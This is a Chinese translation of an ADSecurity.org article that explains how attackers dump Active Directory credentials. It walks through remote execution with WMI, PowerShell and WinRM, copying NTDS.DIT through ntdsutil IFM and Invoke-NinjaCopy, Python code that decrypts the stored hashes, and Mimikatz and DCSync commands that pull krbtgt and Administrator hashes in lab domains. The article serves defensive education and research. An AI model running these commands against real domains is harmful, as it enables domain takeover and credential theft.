原文地址: https://adsecurity.org/?p=2398
ADS 的大牛发表的文章都堪称佳作,值得仔细拜读,遂花了点时间对全文进行了翻译,以飨各位。
我之前发表过两篇关于如何转储 AD 数据库凭证的文章: “攻击者如何从一个域控制器中读取活动目录数据库(NTDS.DIT)”和“在 Active Directory 域中获得管理员权限的攻击方法”。
这篇文章涵盖了许多不同的方法,攻击者可以转储 Active Directory 的凭据,包括 DC 本地的和远程的。这方面的一些信息,我已经在 2015年的(BSides,Shakacon,Black Hat,DEF CON,&DerbyCon)安全会议谈到过。
从 Active Directory 转储凭据数据的主要技术包括与一台存活的 DC 的 LSASS 进程进行交互,抓取 AD 数据文件(NTDS.DIT)的副本,或者欺骗域控制器为攻击者复制密码数据。
这里所介绍的方法需要权限提升,因为它们需要连接到域控制器转储凭据。
如下:
注意:如果已经发现了 Active Directory 数据库(NTDS.DIT)的副本,那么攻击者无需提升权限即可从中转储凭据。
有几种不同的方式可以在域控制器上远程执行命令,假设它们已经有了相应的执行权限。最可靠的远程执行方法包括两种 PowerShell(利用 WinRM )和 WMI。
WMI
1
|
Wmic
/node
:COMPUTER
/user
:DOMAIN\USER
/password
:PASSWORD process call create
"COMMAND"
|
PowerShell (WMI)
1
|
Invoke-WMIMethod -Class Win32_Process -Name Create –ArgumentList $COMMAND –ComputerName $COMPUTER -Credential $CRED
|
WinRM
1
|
winrs –r:COMPUTER COMMAND
|
远程 PowerShell
1
2
|
Invoke-Command –computername $COMPUTER -
command
{ $COMMAND}
New-PSSession -Name PSCOMPUTER –ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER
|
Active Directory 域数据库存储在 Ntds.dit 文件中(默认存放在 C:\WINDOWS\NTDS 中,但一般是在不同的逻辑驱动器上的)。 AD 数据库是一个使用了可扩展存储引擎(ESE) 的 Jet 数据库引擎,它提供了数据存储和索引服务; ESE 级别的索引使得对象的属性能够快速定位。 ESE 确保数据库符合 ACID(原子性,一致性,隔离性和持久性)即 在一个事务中的所有操作要么全部完成要么全部不完成。AD 的 ESE 数据库是非常快速且可靠的。
注:微软同样使用了 Jet 数据库作为 Exchange 的邮箱数据库。
Active Directory 将 Ntds.dit 文件的一部分加载到了内存(已被 LSASS 进程保护)中,并且缓存时使用了基于 LRU-K 的算法,以确保被频繁访问的数据是在内存中的,这样可以提高性能,并且能够提高二次读取的性能。数据库的更改会在内存中执行,写入事务日志,之后会有一个缓慢的提交到数据库文件的过程。check point 文件(edb.chk)将会跟踪到事务写入操作点。这个有点类似于指针的操作。
“版本存储”是一个对象实例的副本,这使得数据从内存中被读取时,更新操作可以在不改变被读取的数据(ESE事务处理视图)的前提下进行读取。一旦读取操作完成,该版本存储的实例也将结束。
Active Directory 包括三个目录分区:域,配置和架构,这是数据库数据最精简的抽象视图。 Ntds.dit 文件包括三个主要的表:数据表,链接表,以及 SD 表。
数据表包含了 Active Directory 数据存储的所有信息:用户,用户组,应用程序的特定数据,还有在 Active Directory 安装后存储的任何其他数据。数据表可以被看作是具有行(每一个都代表了一个对象的实例,如:用户)和列(每一个都代表了架构中的属性,如GivenName)的表。对于架构中的每个属性,表中包含一个列,称为字段。字段的大小是固定的或可变的。固定大小的字段包含一个整型或长整型作为数据类型。可变大小的字段通常为字符串类型,例如,Unicode 字符串。数据库会尽可能分配多的空间满足可变大小的字段的需求:16 位为 1 个字符的 Unicode 字符串,160 位为 10 个字符的 Unicode 字符串,等等。
用于存储一个对象的数据库空间的大小取决于为其已设定的值的属性数量和值的大小。例如,如果管理员创建了两个用户对象(用户1 和用户2 ),并只给它们设置了最小的属性,然后给用户2 增加一个 10 个字符的描述时,用户2 的空间会比用户1 的空间大 80 个字节左右(20字节为 10 个字符的大小,再加上的元数据新生成的属性)。
数据库记录是不能跨数据库页的;因此,每一个对象被限制为了 8KB 大小。然而,针对此限制,一个对象的有些属性值是不会进行完全计算的。长度较长的和可变长度的值可以存储不同的页中,在对象记录之后,只剩下了一个 9个字节的引用。以这种方式,一个对象及其所有的属性值的大小会比 8KB 大得多。
链接表包含的数据表示被链接的属性,其中包含的值指向了 Active Directory 中的其他对象。例如,一个用户对象的 MemberOf 属性,其包含的值指向了该用户所属的组。另外,链接表比数据表小得多。
SD 表包含的数据表示了每个对象所继承的安全描述符。在 Windows Server 2003 或更高版本的 Windows 操作系统中引入了 SD 表,被继承的安全描述符不再被复制到每个继承安全描述符的对象上。相反,被继承的安全描述符被存储在了 SD 表并被链接到了相应的对象上。
Csaba Barta([email protected])于2011年7月 发表过一份白皮书 —— “ Active Directory 的 HASH 离线转储和取证分析技术”。
需要注意的是在前一个列表中,有很多被描述为加密的字段,加密的目的是提供保护,防止数据被离线提取。
微软为了提供这种保护所引入的解决方案比较复杂,其加密共有三层,前两层使用了 RC4 加密算法,第三层使用了 DES 加密算法。
要解密存储在 NTDS.DIT 中的哈希,需要执行下面的步骤:
PEK 用于加密存储在 NTDS.DIT 文件中的数据。在整个域中,这个密钥都是同一个,这意味着它在所有的域控制器中也是相同的。该 PEK 本身也以加密的形式存储在 NTDS.DIT 中。要解密 PEK 则需要从获得 Ntds.dit 文件所在的同一个域控制器中导出注册表数据(SYSTEM hive)。这是因为 PEK 使用了 BOOTKEY 进行了加密并且 BOOTKEY 在所有的域控制器中(事实上在域中的所有计算机)上是不同的。
为了解密该 PEK 则必须从 NTDS.DIT 文件中获取 ATTk590689 字段。由于上述所提到的所有存储在数据库中的对象都具有此字段,因此,为了确定哪一个才是解密需要的值,则需要检查值是否为空即可。
该字段的值的长度是 76 个字节(二进制数据)。值的结构如下:
解密后得到的 PEK 的值可以分为两部分。跳过前 36 字节(因此实际上 PEK 密钥的长度只有 16 个字节)。
去掉 RC4 加密层后的算法如下:
1
2
3
4
5
6
|
md5 = MD5.
new
()
md5.update(pek)
md5.update(enc_hash[0:16])
rc4_key = md5.digest();
rc4 = ARC4.
new
(rc4_key)
denc_hash = rc4.encrypt(enc_hash[16:])
|
最后一步是去掉 DES 加密层,实际上这和存储在注册表中的密码 HASH 所使用的所谓的“标准” SYSKEY加密算法及其相似,该算法的具体细节可以在这找到,http://moyix.blogspot.com/2008/02/syskey-and-sam.html。
下面是该算法的最后一部分:
1
2
3
4
|
(des_k1,des_k2) = sid_to_key(rid)
d1 = DES.
new
(des_k1, DES.MODE_ECB)
d2 = DES.
new
(des_k2, DES.MODE_ECB)
hash = d1.decrypt(denc_hash[:8]) + d2.decrypt(denc_hash[8:])
|
需要注意的是,它必须要有用户的 SID 以确定 RID 并计算出用于 DES 加解密的密钥。
最好的缓解措施是防止攻击者能够获得域控制器中相关文件的访问权限。在这篇文章中——“在 Active Directory 域中获得管理员权限的攻击方法”涵盖了保护管理员凭据的方法。
在 Windows 中有内置的管理组件—— WMI,允许远程执行命令(需要管理员权限)。 WMIC 是 WMI 的命令行工具,可以在远程计算机上执行命令。
Matt Graeber 在 Black Hat USA 2015 安全会议中演示了利用 WMI 进行攻击的技术(paper,PPT和视频)。他还在 DEF CON 23 中(视频)与同事一起进一步演示了 WMI 的攻击能力。(还有在 DerbyCon 的视频)
利用 WMIC (或者是 PowerShell 远程管理)创建(或 copy 已存在的)VSS。
当 VSS 快照完成后,我们就可以从 VSS 中将 NTDS.dit 文件和 注册表中的 System hive 复制到域控制器的 C 盘中。
之后就可以将域控制器中 c:\\temp
目录的文件复制到本地的计算机中。
上图中显示了攻击者使用 Mimikatz 获取的明文密码,进行远程连接操作。不过,就算我们没有密码又有什么关系呢?
攻击者可以通过 WMIC 传递 Kerberos 票证同样可以进行远程连接操作。
需要注意的是在较新版本的 Windows 中 WMIC 已经有些过时了。 PowerShell 提供了 Invoke-WMIMethod cmdlet 可以执行相同的功能。
NTDSUTIL 是一个命令行实用程序,在本地工作时需要 AD 数据库(NTDS.DIT)并支持为 DCPROMO 创建 IFM 。DCPROMO 将使用 IFM 以“从媒体介质中安装”,这样服务器就不需要通过网络从另一台 DC 上复制域数据。
1
|
ntdsutil “ac i ntds” “ifm” “create full c:\temp” q q
|
在下图中,IFM 是一个 NTDS.dit 文件的副本,放在 c:\\temp
目录中。
当创建一个 IFM 时,也会产生并挂载一个 VSS 快照,同时 Ntds.dit 文件和相关的数据也被复制到目标文件夹中。
该文件可能存储在一个正在 promot 的新的 DC 的共享文件夹中,也可能出现在还没有 promot 的新的服务器上。此服务器可能无法确保IFM 数据的安全,包括复制 Ntds.dit 文件并提取凭证数据。
这个命令也可以通过 WMI 或 PowerShell 远程执行。
Invoke-NinjaCopy 是一个 PowerShell 函数,可以利用 PowerShell 远程管理复制远程计算机的文件(需要目标 DC 启用 PowerShell 远程管理)。
Invoke-NinjaCopy 文件介绍:
该脚本可以打开整个卷(如C:)的读取句柄并解析 NTFS 结构,从而从一个 NTFS 卷复制文件。此操作需要目标服务器的管理员权限。利用此脚本可以绕过以下保护措施:
如果指定了 LocalDestination 参数,则文件将被复制到本地服务器(脚本正在从运行的服务器)中指定的文件路径。
如果指定了 RemoteDestination 参数,则该文件将被复制到远程服务器中指定的文件路径。
该脚本使用了 cyb70289 的NTFS解析代码并已发布到了 CodePlex 上进行 NTFS 结构解析。由于 NTFS 解析代码使用 C++ 编写,所以我将代码编译到了一个 DLL 中,并通过反射使用 PowerShell 的 Invoke-ReflectivePEInjection.ps1 脚本加载它(原始代码请参阅以下链接)。
Joe Bialek (@JosephBialek)在他的博客中写了如下关于 Invoke-NinjaCopy 的信息。
目前,已有好几种方法可以转储 Active Directory 和本地密码的 HASH。不过直到最近,我发现目前获取 HASH 的技术,需 要依赖于注入代码到 LSASS 进程或使用 VSS ,以获得含有 HASH 文件的副本。我创建了一个名为 Invoke-NinjaCopy 的 PowerShell 脚本,支持任何文件(包括NTDS.DIT)的复制,无需启动可疑的服务,无需注入代码到进程中,或者提升到 SYSTEM 权限。
命令如下:
1
|
Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -ComputerName “RDLABDC02” -LocalDestination “c:\temp\ntds.dit”
|
下面这个示例是从外网下载并完全是在内存中执行代码,然后执行 Invoke-Ninjacopy。如果攻击者已经拿到了域管理员已登录的主机,那么在这种情况下会很有效,从而使攻击者可以将 Active Directory 数据库文件从域控制器复制到主机中,然后上传到外网。
使用 DIT 快照查看器 ,可以验证我们是否顺利拿到了Ntds.dit 文件。
从正在运行的系统中抓取文件时,我必须对 Ntds.dit 文件进行“拍摄快照”以便纠正错误。
注意:
Invoke-NinjaCopy 的作者 Joe Bialek (@JosephBialek) 提示说,他并没有测试使用 Invoke-NinjaCopy 复制较大的 ntds.dit 文件,因此在一个繁忙的 DC 中使用时,很有可能会损坏文件。这里是 Harmj0y 对尝试转储 AD 凭据时 NTDS.DIT 文件损坏的一些见解。
一般情况下服务帐户就是域管理员组(或同等权限)的成员或者攻击者从域管理员最近登录到的计算机中 dump 出登录凭证。使用这些凭据,攻击者可以访问域控制器,并可以得到所有的域凭据,其中包括用于创建 Kerberos 的黄金票证的 KRBTGT 帐户的 NTLM 哈希值。
PS:
有许多不同的工具可以在本地 DC 上运行时, dump 出 AD 的凭证,但我更倾向于使用 Mimikatz ,因为其具有大量的的凭证窃取和代码注入功能(当然不止这些)使得攻击者可以从多种来源和场景中转储凭证数据。
命令:
1
|
mimikatz lsadump::lsa
/inject
exit
|
可以在域控制器上运行,转储 Active Directory 的域凭证数据。
需要使用 debug 模式获取本地管理员权限或者系统权限进行访问。
注意:
UID 为 502 的帐户是 KRBTGT 帐户 与 RID 为 500 的帐户一样都是域中默认的管理员。
Invoke-Mimikatz 是 PowerSploit 的一部分,由 Joe Bialek (@JosephBialek) 编写,在一个 Powershell 函数中整合了 Mimikatz 的所有功能。它利用 Mimikatz 2.0 和 Invoke-ReflectivePEInjection 在内存中反射式的加载了 Mimikatz 的全部代码。这使得你在转储凭证时无需写入 Mimikatz 的二进制数据到磁盘中。
PS: PowerSploit 框架目前托管在 PowerShellMafia 的 GitHub 资源库中。
是什么让 Invoke-Mimikatz 如此有“魔力”,就是使用了反射式加载 Mimikatz DLL(已内嵌了脚本)到内存的能力。Invoke-Mimikatz 的代码可以从外网下载并在内存中执行,无需向磁盘写入任何东西。此外,如果使用相应的权限运行 Invoke-Mimikatz 并且目标计算机中启用了 PowerShell 远程管理时,就可以从其他系统中导出凭证数据,并可以远程执行标准的 Mimikatz 命令,不需要向远程系统上丢任何文件。
Invoke-Mimikatz 不再更新,不过我们可以使用较新的 Mimikatz 转换出 DLL(32位和64位版本)。
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz –DumpCerts
Invoke-Mimikatz -Command “privilege::debug exit” -ComputerName “computer1”
Invoke-Mimikatz “Command” 参数允许 Invoke-Mimikatz 执行自定义的 Mimikatz 命令行。
命令:
1
|
Invoke-Mimikatz -Command ‘”privilege::debug” “LSADump::LSA
/inject
”
exit
’
|
在域控制器上运行并转储 Active Directory 的域凭证数据是需要使用 debug 模式获取本地管理员权限或者系统权限进行访问。
注意:
UID 为 502 的帐户是 KRBTGT 帐户 与 RID 为 500 的帐户一样都是域中默认的管理员。
命令:
1
|
Invoke-Mimikatz -Command
'"privilege::debug" "LSADump:LSA /inject"'
-Computer RDLABDC02.rd.adsecurity.org
|
下面这个这个示例是从外网下载并完全是在内存中执行代码,然后执行 Invoke-Mimikatz 。如果攻击者已经拿到了域管理员已登录的主机,那么在这种情况下会很有效,从而使攻击者可以将 Active Directory 数据库文件从域控制器复制到主机中,然后上传到外网。
在 2015 年八月, Mimikatz 加入了一个新的特性—— “DCSync”,可以有效地“假冒”一个域控制器,并可以向目标域控制器请求帐户密码数据。
之前利用 DCSync 的攻击方法是在域控制器上运行 Mimikatz 或 Invoke-Mimikatz 得到 KRBTGT 账户的密码哈希创建黄金票证。
如果使用适当的权限执行 Mimikatz 的 DCSync 功能,攻击者就可以通过网络远程读取域控制器的密码哈希,以及以前的密码的哈希,且无需交互式登录或复制 Active Directory 的数据库文件(NTDS.DIT)。
运行 DCSync 所要求的特殊权限有管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器计算机帐户的任何成员都能够运行 DCSync 去读取密码数据。需要注意的是只读域控制器默认是不允许读取用户密码数据的。
DCSync 是何如工作的:
我之前捕获了一些域控制器复制数据的数据包,并确认了有关域控制器如何复制内部 DC 数据的通讯流。
Samba Wiki 描述了 DSGetNCChanges 函数,如下:
“当第一个得到的 AD 对象从第二个更新时,客户端 DC 会向服务器发送 DSGetNCChanges 请求。响应的数据包含了一组客户端必须应用到其 NC 副本的更新。...
当 DC 收到一个 DSReplicaSync 请求后,它会执行一个复制周期,去复制每一个它要复制的 DC (存储在 RepsFrom 数据结构中),此时它的行为就像一个客户端,会发送 DSGetNCChanges 请求到那个所要复制的 DC 去。所以它获得了每个它所复制的 DC 的最新的 AD 对象。
DCSync 选项:
/user
- 要拉取数据的用户的 id 或 SID/domain
(可选的) Active Directory 域的 FQDN 域名,Mimikatz 会发现域中的一个 DC 并去连接。如果不提供该参数,Mimikatz 会默认设置为当前域。/dc
(可选的)指定你想要使用 DCSync 连接并收集数据的域控制器。另外还有一个/guid
参数。
DCSync 命令行示例:
拉取 rd.adsecurity.org 域中的 KRBTGT 用户帐户的密码数据:
1
|
Mimikatz
"privilege::debug"
"lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"
exit
|
拉取 rd.adsecurity.org 域中的 Administrator 用户帐户的密码数据:
1
|
Mimikatz
"privilege::debug"
"lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator"
exit
|
拉取 lab.adsecurity.org 域中 ADSDC03 域控制器的计算机帐户的密码数据:
1
|
Mimikatz
"privilege::debug"
"lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$"
exit
|
如果帐户启用了 “可逆加密”,则会显示明文密码。